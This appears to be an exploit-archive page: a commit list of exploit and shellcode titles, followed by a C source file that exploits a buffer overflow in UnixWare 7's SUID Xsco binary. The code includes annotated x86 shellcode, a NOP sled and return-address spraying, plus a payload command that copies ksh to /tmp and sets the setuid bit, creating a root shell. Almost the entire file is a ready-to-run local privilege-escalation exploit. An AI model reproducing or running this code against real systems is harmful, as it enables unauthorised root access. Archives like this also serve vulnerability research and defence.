880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
112 lines
No EOL
5.5 KiB
C
112 lines
No EOL
5.5 KiB
C
// source: https://www.securityfocus.com/bid/824/info
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Under certain versions of Unixware, the SUID program Xsco is vulnerable to a buffer overflow attack. The problem lies in that Xsco does not sanity check user supplied data.
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// UnixWare7 /usr/X/bin/Xsco local, K2/cheez
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//
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// Xsco produces some strange side effect's with the execve; it seems
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// that commands can not be run interactively. Thanks to cheez for the
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// shellcode.
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#include <unistd.h>
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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char shell[] =
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/* 0 */ "\xeb\x5f" /* jmp springboard */
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/* syscall: */
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/* 2 */ "\x9a\xff\xff\xff\xff\x07\xff" /* lcall 0x7,0x0 */
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/* 9 */ "\xc3" /* ret */
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/* start: */
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/* 10 */ "\x5e" /* popl %esi */
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/* 11 */ "\x31\xc0" /* xor %eax,%eax */
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/* 13 */ "\x89\x46\x9d" /* movl %eax,-0x63(%esi) */
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/* 16 */ "\x88\x46\xa2" /* movb %al,-0x5e(%esi) */
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/* seteuid: */
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/* 19 */ "\x31\xc0" /* xor %eax,%eax */
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/* 21 */ "\x50" /* pushl %eax */
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/* 22 */ "\xb0\x8d" /* movb $0x8d,%al */
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/* 24 */ "\xe8\xe5\xff\xff\xff" /* call syscall */
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/* 29 */ "\x83\xc4\x04" /* addl $0x4,%esp */
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/* setuid: */
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/* 32 */ "\x31\xc0" /* xor %eax,%eax */
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/* 34 */ "\x50" /* pushl %eax */
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/* 35 */ "\xb0\x17" /* movb $0x17,%al */
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/* 37 */ "\xe8\xd8\xff\xff\xff" /* call syscall */
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/* 42 */ "\x83\xc4\x04" /* addl $0x4,%esp */
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/* execve: */
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/* 45 */ "\x31\xc0" /* xor %eax,%eax */
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/* 47 */ "\x50" /* pushl %eax */
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/* 48 */ "\x56" /* pushl %esi */
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/* 49 */ "\x8b\x1e" /* movl (%esi),%ebx */
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/* 51 */ "\xf7\xdb" /* negl %ebx */
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/* 53 */ "\x89\xf7" /* movl %esi,%edi */
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/* 55 */ "\x83\xc7\x10" /* addl $0x10,%edi */
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/* 58 */ "\x57" /* pushl %edi */
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/* 59 */ "\x89\x3e" /* movl %edi,(%esi) */
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/* 61 */ "\x83\xc7\x08" /* addl $0x8,%edi */
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/* 64 */ "\x88\x47\xff" /* movb %al,-0x1(%edi) */
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/* 67 */ "\x89\x7e\x04" /* movl %edi,0x4(%esi) */
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/* 70 */ "\x83\xc7\x03" /* addl $0x3,%edi */
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/* 73 */ "\x88\x47\xff" /* movb %al,-0x1(%edi) */
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/* 76 */ "\x89\x7e\x08" /* movl %edi,0x8(%esi) */
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/* 79 */ "\x01\xdf" /* addl %ebx,%edi */
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/* 81 */ "\x88\x47\xff" /* movb %al,-0x1(%edi) */
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/* 84 */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */
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/* 87 */ "\xb0\x3b" /* movb $0x3b,%al */
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/* 89 */ "\xe8\xa4\xff\xff\xff" /* call syscall */
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/* 94 */ "\x83\xc4\x0c" /* addl $0xc,%esp */
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/* springboard: */
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/* 97 */ "\xe8\xa4\xff\xff\xff" /* call start */
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/* data: */
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/* 102 */ "\xff\xff\xff\xff" /* DATA */
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/* 106 */ "\xff\xff\xff\xff" /* DATA */
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/* 110 */ "\xff\xff\xff\xff" /* DATA */
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/* 114 */ "\xff\xff\xff\xff" /* DATA */
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/* 118 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA */
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/* 126 */ "\x2d\x63\xff"; /* DATA */
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#define SIZE 600
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#define NOPDEF 101
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#define DEFOFF -240
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#define LEN 102
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const char x86_nop=0x90;
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long nop=NOPDEF,esp;
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long offset=DEFOFF;
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char buffer[SIZE];
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long get_esp() { __asm__("movl %esp,%eax"); }
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int main (int argc, char *argv[]) {
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int i,len;
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char *cmd = "cp /bin/ksh /tmp;chmod 4555 /tmp/ksh";
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memset(buffer, x86_nop, SIZE);
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len = strlen(cmd); len++; len = -len;
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shell[LEN+0] = (len >> 0) & 0xff;
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shell[LEN+1] = (len >> 8) & 0xff;
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shell[LEN+2] = (len >> 16) & 0xff;
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shell[LEN+3] = (len >> 24) & 0xff;
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if (argc > 1) offset += strtol(argv[1], NULL, 0);
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if (argc > 2) nop += strtoul(argv[2], NULL, 0);
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esp = get_esp();
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buffer[0]=':';
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memcpy(buffer+nop, shell, strlen(shell));
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memcpy(buffer+nop+strlen(shell), cmd,strlen(cmd));
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memcpy(buffer+nop+strlen(shell)+strlen(cmd),"\xff",1);
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for (i = nop+strlen(shell)+1+strlen(cmd); i < SIZE-4; i += 4) {
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*((int *) &buffer[i]) = esp+offset;
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}
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printf("jmp = [0x%x]\toffset = [%d]\tnop = [%d]\n",esp+offset,offset, nop);
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execl("/usr/X/bin/Xsco", "Xsco", buffer, NULL);
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printf("exec failed!\n");
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return 0;
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} |